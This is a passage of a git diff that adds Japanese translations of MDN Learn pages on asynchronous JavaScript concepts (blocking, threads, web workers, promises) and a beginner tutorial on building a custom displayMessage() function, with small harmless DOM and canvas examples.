のハックまで、すべてカバーしています。</dd> + <dt><a href="https://edabit.com/challenges">Edabit</a></dt> + <dd>数千のインタラクティブなJavaScriptチャレンジ。</dd> +</dl> diff --git a/files/ja/learn/index/index.html b/files/ja/learn/index/index.html new file mode 100644 index 0000000000..0c842ca444 --- /dev/null +++ b/files/ja/learn/index/index.html @@ -0,0 +1,10 @@ +--- +title: インデックス +slug: Learn/Index +tags: + - MDN Meta + - インデックス + - 学習 +translation_of: Learn/Index +--- +<p>{{Index("/ja/docs/Learn")}}</p> diff --git a/files/ja/learn/javascript/asynchronous/concepts/index.html b/files/ja/learn/javascript/asynchronous/concepts/index.html new file mode 100644 index 0000000000..b2baeaac4e --- /dev/null +++ b/files/ja/learn/javascript/asynchronous/concepts/index.html @@ -0,0 +1,162 @@ +--- +title: 非同期プログラミングの一般的概念 +slug: Learn/JavaScript/Asynchronous/Concepts +tags: + - JavaScript + - Learn + - Promises + - Threads + - asynchronous + - blocking +translation_of: Learn/JavaScript/Asynchronous/Concepts +--- +<div>{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}</div> + +<p>この記事では、非同期プログラミングに関するいくつかの重要な概念と、その概念がウェブブラウザーと JavaScript でどのように見えるのかをひと通り説明していきます。このモジュールの他の記事に取り組む前に、これらの概念を理解しておく必要があります。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシーがあり、ある程度 JavaScript の基礎を理解していること</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>非同期プログラミングの基本概念と、その概念がウェブブラウザーと JavaScript でどのように表現されるかを理解すること</td> + </tr> + </tbody> +</table> + +<h2 id="Asynchronous" name="Asynchronous">非同期とは？</h2> + +<p>通常は、あるプログラムのコードは書かれた順に、一度にひとつのことだけが起こるように実行されます。もしある関数が別の関数の結果に依存するのであれば、その関数は他の関数の処理が完了して結果を返すまで待たなくてはならず、それまでは、ユーザー視点からはプログラム全体は止まっているのと本質的には同じです。</p> + +<p>例えば、Mac ユーザーは回転する虹色のカーソル（よく「ビーチボール」と呼ばれます）としてこのことを経験することもあるでしょう。このカーソルによってオペレーティングシステムは「現在使用中のプログラムは何かが終わるのを待って停止しており、それが非常に長く掛かっているので何が起こっているのかとご心配をお掛けしているのではないでしょうか」と言っているのです。</p> + +<p><img alt="Multi-colored macOS beachball busy spinner" src="https://mdn.mozillademos.org/files/16577/beachball.jpg" style="display: block; float: left; height: 256px; margin: 0px 30px 0px 0px; width: 250px;"></p> + +<p>これはいら立つような体験であり、コンピューターの処理能力の良い使い方ではありません――特に、マルチコアプロセッサーが利用できる時代においては。他のタスクを別のプロセッサーコアに処理させて、それが終わった時に知らせることができるのに、座って待っているのは意味がありません。このように合間に別の仕事を終わらせる、ということが<strong>非同期プログラミング</strong>の基本です。非同期にタスクを実行する API は、あなたが使用するプログラミング環境（ウェブ開発であればウェブブラウザー）によって提供されます。</p> + +<h2 id="Blocking_code" name="Blocking_code">ブロッキングコード</h2> + +<p>非同期のテクニックは、特にウェブプログラミングにおいて非常に有用です。ウェブアプリがブラウザー上で高負荷なコードを実行すると、ブラウザーは固まって見えるかもしれません。これを<strong>ブロッキング</strong>といいます。ウェブアプリがプロセッサーの制御を返すまで、ブラウザーはユーザーからの入力を処理して他のタスクを実行し続けるのを妨げられているのです。</p> + +<p>ブロッキングが意味するところを示す例をいくつか見てみましょう。</p> + +<p>この <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing/simple-sync.html">simple-sync.html</a> の例（<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">デモ参照</a>）では、ボタンをクリックすると時間の掛かる処理（日時を 1000 万回計算し、最後に計算された日時をコンソールに出力）を実行し、DOM に段落を 1 つ追加します。</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); +btn.addEventListener('click', () => { + let myDate; + for(let i = 0; i < 10000000; i++) { + let date = new Date(); + myDate = date + } + + console.log(myDate); + + let pElem = document.createElement('p'); + pElem.textContent = 'This is a newly-added paragraph.'; + document.body.appendChild(pElem); +});</pre> + +<p>この例を実行する際は、JavaScript コンソールを開き、その後にボタンをクリックしてください ― 日時の計算が終わり、コンソールにメッセージが出力されるまで段落が現れないことに気が付くでしょう。コードは順番に実行され、前の処理が終わるまで後の処理は実行されません。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 先ほどの例はまったく非現実的です。現実のウェブアプリでは日時を 1000 万回計算することはないでしょう！ しかしながら、基本的な考え方の理解には役立ちます。</p> +</div> + +<p>2 つ目の例の <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">simple-sync-ui-blocking.html</a> では（<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">デモ参照</a>）、実際のページでも遭遇しうる、もう少し現実的な例をシミュレーションします。ユーザーインターフェイスのレンダリングによってユーザーの操作がブロックされるのです。この例では、ボタンは 2 つあります。</p> + +<ul> + <li>"Fill canvas" ボタンは、クリックすると使用可能な {{htmlelement("canvas")}} を 100 万個の青い円でいっぱいにします。</li> + <li>"Click me for alert" ボタンは、クリックするとアラートメッセージを表示します。</li> +</ul> + +<pre class="brush: js notranslate">function expensiveOperation() { + for(let i = 0; i < 1000000; i++) { + ctx.fillStyle = 'rgba(0,0,255, 0.2)'; + ctx.beginPath(); + ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false); + ctx.fill() + } +} + +fillBtn.addEventListener('click', expensiveOperation); + +alertBtn.addEventListener('click', () => + alert('You clicked me!') +);</pre> + +<p>もし1つ目のボタンを押し、その後素早く2つ目のボタンを押すと、円の描画が終わるまでアラートが表示されないことが分かるでしょう。1つ目の処理が完了するまで 2つ目の処理がブロックされています。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: ええ、この事例は見苦しく、ブロッキングの影響を真似ているものです。しかし、これは現実のアプリケーション開発者が軽減させようと常に戦っている、ありふれた問題です。</p> +</div> + +<p>何故こうなるのでしょうか？ その答えは、一般的に言えば JavaScript は<strong>シングルスレッド</strong>だからです。ここで、<strong>スレッド</strong>の概念を紹介する必要があります。</p> + +<h2 id="Threads" name="Threads">スレッド</h2> + +<p><strong>スレッド</strong>とは、基本的にプログラムがタスクを完了させるのに使用できる、単一のプロセスです。各スレッドは 1 度に 1 つのタスクを実行することしかできません。</p> + +<pre class="notranslate">Task A --> Task B --> Task C</pre> + +<p>各タスクは順次実行されます。すなわち、あるタスクが完了しなければ、その次のタスクは開始されません。</p> + +<p>先述のように、現在では多くのコンピューターは複数のコアを持つため、一度に複数のことをすることができます。マルチスレッドをサポートするプログラミング言語は、複数のコアを使用して同時に複数のタスクを完了させることができます。</p> + +<pre class="notranslate">Thread 1: Task A --> Task B +Thread 2: Task C --> Task D</pre> + +<h3 id="JavaScript_is_single-threaded" name="JavaScript_is_single-threaded">JavaScript はシングルスレッド</h3> + +<p>従来より JavaScript はシングルスレッドです。複数のコアを利用しても、<strong>メインスレッド</strong>と呼ばれる単一のスレッド上でタスクを実行できるだけでしょう。これまでの例は、次のように実行されます。</p> + +<pre class="notranslate">Main thread: Render circles to canvas --> Display alert()</pre> + +<p>少し経ってから、JavaScript はこういった問題に役立つ、いくつかのツールを手に入れました。<a href="/ja/docs/Web/API/Web_Workers_API">Web workers</a> によって worker と呼ばれる別個のスレッドに JavaScript の処理の一部を移すことが可能となり、そのことで複数の JavaScript のコードを同時に実行することができるようになります。一般的に worker は、ユーザーの操作がブロックされないように、高コストな処理をメインスレッドとは別のところで実行するために使用されます。</p> + +<pre class="notranslate"> Main thread: Task A --> Task C +Worker thread: Expensive task B</pre> + +<p>このことを念頭に置いて、再び <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-worker.html">simple-sync-worker.html</a> （<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-worker.html">デモ参照</a>）をブラウザーの JavaScript コンソールを開いた状態で見てみましょう。こちらは先ほどの 1000 万回の日時計算を行う例を別の worker スレッド上で行うよう書き換えたものです。今回はボタンをクリックすると、ブラウザーは日時の計算が完了する前に段落を表示することができます。1 つ目の処理は、もう 2 つ目の処理をブロックしていません。</p> + +<h2 id="Asynchronous_code" name="Asynchronous_code">非同期なコード</h2> + +<p>Web worker はかなり便利ですが、制限もあります。主要なものとして、Web worker は {{Glossary("DOM")}} にアクセスできません —— Worker に直接ユーザーインターフェイスを更新させるようなことはできません。100 万個の青い円を worker 内部で描画させることはできないのです。基本的にはただ計算ができる、ということです。</p> + +<p>2 つ目の問題は、worker によって実行されるコードはブロックしないとは言え、根本的には依然として同期的であるということです。このことは、ある関数が先行する複数の関数の結果に頼っている場合に問題となります。次のスレッドの図について考えてみましょう。</p> + +<pre class="notranslate">Main thread: Task A --> Task B</pre> + +<p>このような場合、例えばタスク A は画像をサーバーから取得するような処理を、タスク B が次にその画像に対してフィルターを適用するような処理をしていると考えてみましょう。もしタスク A を実行し、その直後にタスク B を実行したとすれば、まだ画像が取得できていないためにエラーが発生するでしょう。</p> + +<pre class="notranslate"> Main thread: Task A --> Task B --> |Task D| +Worker thread: Task C -----------> | |</pre> + +<p>このような場合、例えばタスク D はタスク B と タスク C の両方の結果を利用していると考えてみましょう。もし両方の結果が同時に利用可能になることを保証できるのであれば、これで問題ないでしょうが、そのようなことはまれです。もしタスク D の入力のうち 1 つがまだ利用可能となっていない時にタスク D を実行しようとすれば、エラーが投げられるでしょう。</p> + +<p>このような問題を解決するために、ブラウザーを利用して特定の処理を非同期に実行することができます。<a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> のような機能を利用することで、ある処理（例：サーバーからの画像の取得）を実行し、その結果が返ってくるまで別の処理の実行を待たせることができるのです。</p> + +<pre class="notranslate">Main thread: Task A Task B + Promise: |__async operation__|</pre> + +<p>この Promise の処理はどこか別の場所で行われるため、非同期処理が実行されている間にメインスレッドがブロックされることはありません。</p> + +<p>次の記事では、どうすれば非同期処理を書けるのかを見ていきましょう。わくわくしますよね？ 読み進めましょう！</p> + +<h2 id="Conclusion" name="Conclusion">結論</h2> + +<p>現代のソフトウェアデザインは、一度に複数のことをプログラムに実行させるために、ますます非同期処理を中心とした議論が行われています。より新しく、より強力な API を利用すればするほど、非同期処理が唯一の解決先であるような事例が見つかっていくでしょう。かつては非同期なコードを書くのは困難なことでした。慣れるにはまだ時間が掛かりますが、以前よりだいぶ楽になりました。このモジュールの残りの部分では、なぜ非同期なコードが重要なのか、そして上で説明した問題を回避するコードをどのようにして設計すればよいのかを掘り下げていきます。</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Asynchronous/Concepts">非同期プログラミングの一般的概念</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li> +</ul> diff --git a/files/ja/learn/javascript/asynchronous/index.html b/files/ja/learn/javascript/asynchronous/index.html new file mode 100644 index 0000000000..f3b1c62242 --- /dev/null +++ b/files/ja/learn/javascript/asynchronous/index.html @@ -0,0 +1,51 @@ +--- +title: 非同期 JavaScript +slug: Learn/JavaScript/Asynchronous +tags: + - JavaScript + - Promises + - async + - asynchronous + - await + - setInterval + - setTimeout +translation_of: Learn/JavaScript/Asynchronous +--- +<div>{{LearnSidebar}}</div> + +<p class="summary"><span class="seoSummary">このモジュールでは、{{Glossary("asynchronous")}} {{Glossary("JavaScript")}} に触れ、なぜそれが重要なのか、そして、潜在的なブロッキング処理（例えばサーバからリソースを取得する）に効果的に対処するためにどうやって使うのかを見ていきます。</span></p> + +<h2 id="前提条件">前提条件</h2> + +<p>非同期 JavaScript はとても高度なトピックなので、事前に <a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>と <a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>のモジュールに取り組んでおくことをおすすめします。</p> + +<p>非同期プログラミングの概念に慣れていない場合は、間違いなくこのモジュールの <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a> から始めるべきです。慣れている場合は、<a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a> まで飛ばしていただいてもかまいません。</p> + +<div class="note"> +<p><strong>注記</strong>： ファイルを作成する手段のないコンピュータ・タブレット・その他のデバイスをお使いの場合、（ほとんどの）コード例は<a href="http://jsbin.com/"> JSBin</a> や<a href="https://thimble.mozilla.org/">Thimble</a> などのオンラインエディタでも試すことができます。</p> +</div> + +<h2 id="ガイド">ガイド</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></dt> + <dd> + <p>この記事では、非同期プログラミングに関するいくつかの重要な概念を一通り確認し、それらがウェブブラウザや JavaScript でどう見えるかを確認します。このモジュールの他の記事に進む前に、それらの概念を理解しておいてください。</p> + </dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></dt> + <dd>この記事では、同期 JavaScript にまつわる問題をざっと振り返り、これから遭遇するであろう、今までとは異なる非同期 JavaScript のテクニックをいくつか見てみます。そして、それらのテクニックがいかにして同期 JavaScript の問題を解決するかを確認します。</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Loops_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></dt> + <dd>ここでは、JavaScriptでコードを非同期〔一定時間が経過した時、もしくは、一定間隔（例えば1秒あたり何回）〕に実行する時に使う伝統的な手法を見てみます。そして、どんな場合に便利なのかを説明し、内在する問題を考察します。</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Handling async operations gracefully with Promises</a></dt> + <dd>Promise は JavaScript の比較的新しい機能で、前の処理が完了するまでそれ以上の処理を先延ばしにしたり、その失敗に対処したりすることを可能にするものです。これは、一連の作業を正しく動作させるのに非常に便利です。この記事では、promise がどのように動作するか、WebAPIのどこで使われているか、そして、どうやって使うかを解説します。</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></dt> + <dd>Promise は構成したり理解したりするのにやや複雑であるため、モダンブラウザは <code>async</code> 関数と <code>await</code> 演算子を実装しています。前者は通常の関数が promise によって暗黙に非同期的に振る舞うことを可能にし、後者は <code>async</code> 関数内で処理が進む前に promise を待つことで、promise の連鎖を簡単にします。この記事では <code>async</code>/<code>await</code> を解説します。</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></dt> + <dd>このモジュールの最後に、別のコーディングテクニックとこれまで議論してきた機能を考察します。そして、推奨事項とよくある落とし穴への注意とともに、どれを・いつ・どこで使うのが適切なのかを検討します。</dd> +</dl> + +<h2 id="関連情報">関連情報</h2> + +<ul> + <li><a href="https://eloquentjavascript.net/11_async.html">Asynchronous Programming</a>（Marjin Haverbeke 氏の非常に優れたオンライン書籍 <a href="https://eloquentjavascript.net/">Eloquent JavaScript</a> より）</li> +</ul> diff --git a/files/ja/learn/javascript/building_blocks/build_your_own_function/index.html b/files/ja/learn/javascript/building_blocks/build_your_own_function/index.html new file mode 100644 index 0000000000..e12ce6f478 --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/build_your_own_function/index.html @@ -0,0 +1,262 @@ +--- +title: 独自の関数を作る +slug: Learn/JavaScript/Building_blocks/Build_your_own_function +tags: + - Article + - Beginner + - CodingScripting + - Functions + - Guide + - JavaScript + - Learn + - Tutorial + - build + - invoke + - 'l10n:priority' + - parameters +translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">前の記事で扱った重要な理屈をたくさん使って、この記事では実践的な練習を行ないます。ここではあなたが自力で独自関数を作成するための練習を行なっていきます。同時に、関数を扱う上で役に立つ細々の説明もしていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターの知識、HTML と CSS への理解、<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩 </a>、<a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>独自の関数を作成する練習、役に立つ関連事項についてつっこんだ説明。</td> + </tr> + </tbody> +</table> + +<h2 id="Active_learning_Lets_build_a_function" name="Active_learning_Lets_build_a_function">Active learning: 関数を作ってみよう</h2> + +<p>これから作ってみる独自の関数を <code>displayMessage()</code>。これは独自のメッセージボックスをウェブページ上に表示し、ブラウザー組込みの <a href="/ja/docs/Web/API/Window/alert">alert()</a> 関数の特製の代替品として動作します。既に見たものですが、忘れた事にしましょう。以下をブラウザーの JavaScript コンソールから打ち込みます、どのページでも構いません:</p> + +<pre class="brush: js notranslate">alert('This is a message');</pre> + +<p><code>alert</code> 関数は引数を一つ取ります — アラートボックスに表示される文字列です。文字列を色々変えてメッセージを変化させてみて下さい。</p> + +<p><code>alert</code> 関数には制限があります: メッセージを変更することはできますが、色やアイコンなど、それ以外の部分を簡単には変えられません。もっと楽しくできるやつを作りましょう。</p> + +<div class="note"> +<p><strong>注記</strong>: この例題は全てのモダンブラウザー上で問題なく動くはずですが、古いブラウザーではちょっとおかしな見た目になるかもしれません。この課題は Firefox、Opera、Chrome のようなモダンなブラウザー上で行なうのが推奨です。</p> +</div> + +<h2 id="The_basic_function" name="The_basic_function">基本的な関数</h2> + +<p>最初に、基本的な関数を組み立てていきましょう。</p> + +<div class="note"> +<p><strong>注記</strong>: 関数に名前を付ける方針としては、<a href="/ja/docs/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules">変数名に名前をつける方針</a>と同じルールに従うべきです。問題はありません、すぐに見分けがつくからです — 関数ならすぐ後に括弧が付きますが、変数には付きません。</p> +</div> + +<ol> + <li><a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html">function-start.html</a> ファイルにアクセスして、ローカルコピーを作成するところから初めます。HTML は単純です — body にはボタン一つしかありません。特製メッセージボックス用の基本的な CSS スタイルと、JavaScript を追加していく用の空の {{htmlelement("script")}} 要素が含まれています。</li> + <li>次に、<code><script></code> 要素の中に以下を追加して下さい: + <pre class="brush: js notranslate">function displayMessage() { + +}</pre> + キーワード <code>function</code> から始めますが、これは関数を定義するという意味です。この後には、関数につけたい名前、カッ括弧の組、中括弧の組と続きます。関数に渡したい引数は括弧の中に、関数を呼び出したときに走らせたいコードは中括弧の中に書きます。</li> + <li>最後に、以下のコードを中括弧の中に追加します: + <pre class="brush: js notranslate">const html = document.querySelector('html'); + +const panel = document.createElement('div'); +panel.setAttribute('class', 'msgBox'); +html.appendChild(panel); + +const msg = document.createElement('p'); +msg.textContent = 'This is a message box'; +panel.appendChild(msg); + +const closeBtn = document.createElement('button'); +closeBtn.textContent = 'x'; +panel.appendChild(closeBtn); + +closeBtn.onclick = function() { + panel.parentNode.removeChild(panel); +}</pre> + </li> +</ol> + +<p>これは見ていくにはそこそこの量のコードですから、一つ一ついっしょに進んでいく事にしましょう。</p> + +<p>最初の行では {{domxref("document.querySelector()")}} と呼ばれる DOM API 関数を使って {{htmlelement("html")}} 要素を選択し、<code>html</code> という名前の定数に要素への参照を保存したので、これを使っていろいろやっていきます:</p> + +<pre class="brush: js notranslate">const html = document.querySelector('html');</pre> + +<p>次の部分では別の DOM API 関数 {{domxref("document.createElement()")}} を使い、{{htmlelement("div")}} 要素を作成、これへの参照を <code>panel</code> という定数に保存しています。この要素は我々のメッセージボックスの外枠となっていきます。</p> + +<p>次にまた別の DOM API 関数 {{domxref("Element.setAttribute()")}} を使って、我々のパネルの <code>class</code> 属性とその値 <code>msgBox</code> を設定します。これは要素のスタイルを指定しやすくするためです — ページの CSS を見ると、メッセージボックスとその中身に適用するスタイルとして <code>.msgBox</code> クラスセレクターがあるのがわかるでしょう。</p> + +<p>最後に、前に保存した html 変数の DOM 関数 {{domxref("Node.appendChild()")}} を呼んでいますが、この関数は一つの要素を別の要素の子として組み入れる働きをします。panel という<code><div></code> 要素を子として、<code><html></code> 要素の中に追加したいのです。作成した要素は作成したページにぽんと現われたりはしません — どこに置くのかも指定しなければなりません。なのでこのようにする必要があります。</p> + +<pre class="brush: js notranslate">const panel = document.createElement('div'); +panel.setAttribute('class', 'msgBox'); +html.appendChild(panel);</pre> + +<p>次の 2 つのセクションでは既に見た同じ <code>createElement()</code> と <code>appendChild()</code> 関数を使用して、2 つの新しい要素、つまり {{htmlelement("p")}} と {{htmlelement("button")}} を作成し、<code><div></code> パネルの子要素としてページに挿入します。段落の中にメッセージを挿入する {{domxref("Node.textContent")}} プロパティ (要素のテキスト内容を表す) とボタンの中に 'x' を使います。このボタンは、ユーザーがメッセージボックスを閉じるときにクリック/アクティブ化する必要があります。</p> + +<pre class="brush: js notranslate">const msg = document.createElement('p'); +msg.textContent = 'This is a message box'; +panel.appendChild(msg); + +const closeBtn = document.createElement('button'); +closeBtn.textContent = 'x'; +panel.appendChild(closeBtn);</pre> + +<p>最後に、{{domxref("GlobalEventHandlers.onclick")}} イベントハンドラーを使用して、ボタンをクリックするとパネル全体をパネルから削除してメッセージボックスを閉じるようにします。<br> + <br> + 簡単に説明すると、<code>onclick</code> ハンドラーはボタン (または実際にはページ上の任意の要素) で使用できるプロパティで、ボタンをクリックしたときに実行するコードを指定する関数に設定できます。後の<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの記事</a>で、これらについてさらに詳しく学びます。<code>onclick</code> ハンドラーは、ボタンがクリックされたときに実行されるコードを含む無名関数と等しくなります。関数内の行は {{domxref("Node.removeChild()")}} DOM API関数を使用して、HTML要素の特定の子要素 (この場合は <code><div></code> パネル) を削除することを指定します。</p> + +<pre class="brush: js notranslate">closeBtn.onclick = function() { + panel.parentNode.removeChild(panel); +}</pre> + +<p>基本的には、このコードブロック全体が HTML のブロックを生成してページに挿入しています。</p> + +<pre class="brush: html notranslate"><div class="msgBox"> + <p>This is a message box</p> + <button>x</button> +</div></pre> + +<p>作業するコードがたくさんありました。今のところどのように動作しているか正確に覚えていないことをあまり心配しないでください！ ここでは、関数の構造と使用法を中心に説明しますが、この例では何か面白いことを示したかったのです。</p> + +<h2 id="Calling_the_function" name="Calling_the_function">関数の呼び出し</h2> + +<p>これで、<code><script></code> 要素に書かれた関数定義がうまくいきましたが、それは何もしません。</p> + +<ol> + <li>関数の下に次の行を含めて呼び出してみてください: + <pre class="brush: js notranslate">displayMessage();</pre> + この行は関数を呼び出し、すぐに実行させます。コードを保存してブラウザーを再読み込みすると、小さなメッセージボックスがすぐに 1 回だけ表示されます。それを一度呼ぶだけです。</li> + <li> + <p>サンプルページでブラウザーの開発者ツールを開き、JavaScript コンソールに移動してもう一度その行を入力すると、もう一度表示されます。これは楽しいことです - 私たちは今好きな時に呼び出すことができる再利用可能な関数を持っています。</p> + + <p>しかし、ユーザーとシステムのアクションに応じて表示されるようにすることをお勧めします。実際のアプリケーションでは、このようなメッセージボックスは、新しいデータが利用可能であること、エラーが発生したこと、ユーザーがプロファイルを削除しようとしている (「これは本当ですか？」)、またはユーザーが 新しい連絡先や操作が正常に終了しました...などが起こったときに呼び出されるでしょう。</p> + + <p>このデモでは、ユーザーがボタンをクリックするとメッセージボックスが表示されます。</p> + </li> + <li>追加した前の行を削除します。</li> + <li>次に、ボタンを選択し、そのボタンへの参照を定数に格納します。関数定義の上のコードに次の行を追加します: + <pre class="brush: js notranslate">const btn = document.querySelector('button');</pre> + </li> + <li>最後に、前の行の下に次の行を追加します: + <pre class="brush: js notranslate">btn.onclick = displayMessage;</pre> + 関数内の <code>closeBtn.onclick...</code> 行と同様に、ここではボタンがクリックされたことに応答してコードを呼び出します。しかしこの場合、コードを含む無名関数を呼び出す代わりに、関数名を直接呼び出しています。</li> + <li>ページを保存して再表示してみてください。ボタンをクリックするとメッセージボックスが表示されるはずです。</li> +</ol> + +<p>関数名の後ろに括弧が含まれていないのはなぜでしょうか。これは、ボタンがクリックされた後にのみ、関数をすぐに呼びたくないからです。行を次の行に変更しようとすると</p> + +<pre class="brush: js notranslate">btn.onclick = displayMessage();</pre> + +<p>保存して再読み込みすると、ボタンをクリックせずにメッセージボックスが表示されます。このコンテキストの括弧は「関数呼び出し演算子」と呼ばれることがあります。現在のスコープですぐに関数を実行する場合にのみ使用します。同様の点で、匿名関数内のコードは関数スコープ内にあるため、すぐには実行されません。<br> + <br> + 最後の実験を試した場合は、最後の変更を取り消してから実行してください。</p> + +<h2 id="Improving_the_function_with_parameters" name="Improving_the_function_with_parameters">パラメーターを使用して関数を改善する</h2> + +<p>その機能はそれほど便利ではありません — 毎回同じ既定のメッセージを表示したくはないのです。いくつかのパラメーターを追加して機能を改善し、いくつかの異なるオプションで呼び出すことができるようにしましょう。</p> + +<ol> + <li>まず、関数の最初の行を更新します。 + <pre class="brush: js notranslate">function displayMessage() {</pre> + + <div>このようになります:</div> + + <pre class="brush: js notranslate">function displayMessage(msgText, msgType) {</pre> + 関数を呼び出すと、括弧内に 2 つの変数値を指定して、メッセージボックスに表示するメッセージとそのメッセージのタイプを指定できます。</li> + <li>最初のパラメーターを使用するには、関数内の次の行を更新します: + <pre class="brush: js notranslate">msg.textContent = 'This is a message box';</pre> + + <div>このようになります</div> + + <pre class="brush: js notranslate">msg.textContent = msgText;</pre> + </li> + <li>最後に関数呼び出しを更新して、更新されたメッセージテキストを追加する必要があります。次の行を変更します。 + <pre class="brush: js notranslate">btn.onclick = displayMessage;</pre> + + <div>このブロックのようになります:</div> + + <pre class="brush: js notranslate">btn.onclick = function() { + displayMessage('Woo, this is a different message!'); +};</pre> + 私たちが呼び出している関数の括弧内にパラメーターを指定したい場合、直接呼び出すことはできません - 直接のスコープにないため、すぐに呼び出されないように無名関数の中に入れる必要があります。ボタンがクリックされるまで呼び出されません。</li> + <li>再読み込みしてコードをもう一度試してみてください。それでもパラメーター内のメッセージを変えてボックスに表示されるメッセージを変えることができます。</li> +</ol> + +<h3 id="A_more_complex_parameter" name="A_more_complex_parameter">より複雑なパラメーター</h3> + +<p>次のパラメーターに移りましょう。これにはもう少し作業が必要です。<code>msgType</code> パラメーターの設定によって、別のアイコンと異なる背景色が表示されるように設定していきます。</p> + +<ol> + <li>まず始めに、この演習に必要なアイコン (<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/icons/warning.png">warning</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/icons/chat.png">chat</a>) を GitHub からダウンロードしてください。HTML ファイルと同じ場所にある <code>icons</code> という新しいフォルダーに保存します + + <div class="note"><strong>メモ</strong>: <a href="https://www.iconfinder.com/">iconfinder.com</a> にある warning と chat のアイコンは <a href="https://www.iconfinder.com/nazarr">Nazarrudin Ansyari</a> によってデザインされたものです。ありがとう！ (実際のアイコンのページは移動か削除されています。)</div> + </li> + <li>次に、HTML ファイル内の CSS を探します。私たちは、アイコンの道を作るためにいくつかの変更を行います。まず <code>.msgBox</code> の幅を次のように更新します + <pre class="brush: css notranslate">width: 200px;</pre> + <span>このようにします</span> + + <pre class="brush: css notranslate">width: 242px;</pre> + </li> + <li>次に、<code>.msgBox p { ... }</code> ルール内に次の行を追加します + <pre class="brush: css notranslate">padding-left: 82px; +background-position: 25px center; +background-repeat: no-repeat;</pre> + </li> + <li>これでアイコンの表示を処理するために、<code>displayMessage()</code> 関数にコードを追加する必要があります。関数の終了中括弧 (<code>}</code>) のすぐ上に次のブロックを追加します。 + <pre class="brush: js notranslate">if (msgType === 'warning') { + msg.style.backgroundImage = 'url(icons/warning.png)'; + panel.style.backgroundColor = 'red'; +} else if (msgType === 'chat') { + msg.style.backgroundImage = 'url(icons/chat.png)'; + panel.style.backgroundColor = 'aqua'; +} else { + msg.style.paddingLeft = '20px'; +}</pre> + ここで、<code>msgType</code> パラメーターが <code>'warning'</code> に設定されている場合、警告アイコンが表示され、パネルの背景色は赤に設定されます。<code>'chat'</code>に設定されている場合、チャットアイコンが表示され、パネルの背景色が青色に設定されます。<code>msgType</code> パラメーターがまったく設定されていない (または別のものに変更されている) 場合、コードの <code>else { ... }</code> 部分が有効になり、段落には単にデフォルトのパディングが与えられ、背景パネルの色もしくはアイコンのどちらかが未設定の状態となります。これは <code>msgType</code> パラメーターが指定されていない場合、省略可能なパラメーターであることを意味するデフォルトの状態を提供します。</li> + <li>更新された関数をテストしましょう。この <code>displayMessage()</code> 呼び出しを更新して： + <pre class="brush: js notranslate">displayMessage('Woo, this is a different message!');</pre> + <span>これらのうちの 1 つにしましょう。</span> + + <pre class="brush: js notranslate">displayMessage('Your inbox is almost full — delete some mails', 'warning'); +displayMessage('Brian: Hi there, how are you today?','chat');</pre> + 私たちの (今はそうではない) 小さな機能がどのように役立つかがわかります。</li> +</ol> + +<div class="note"> 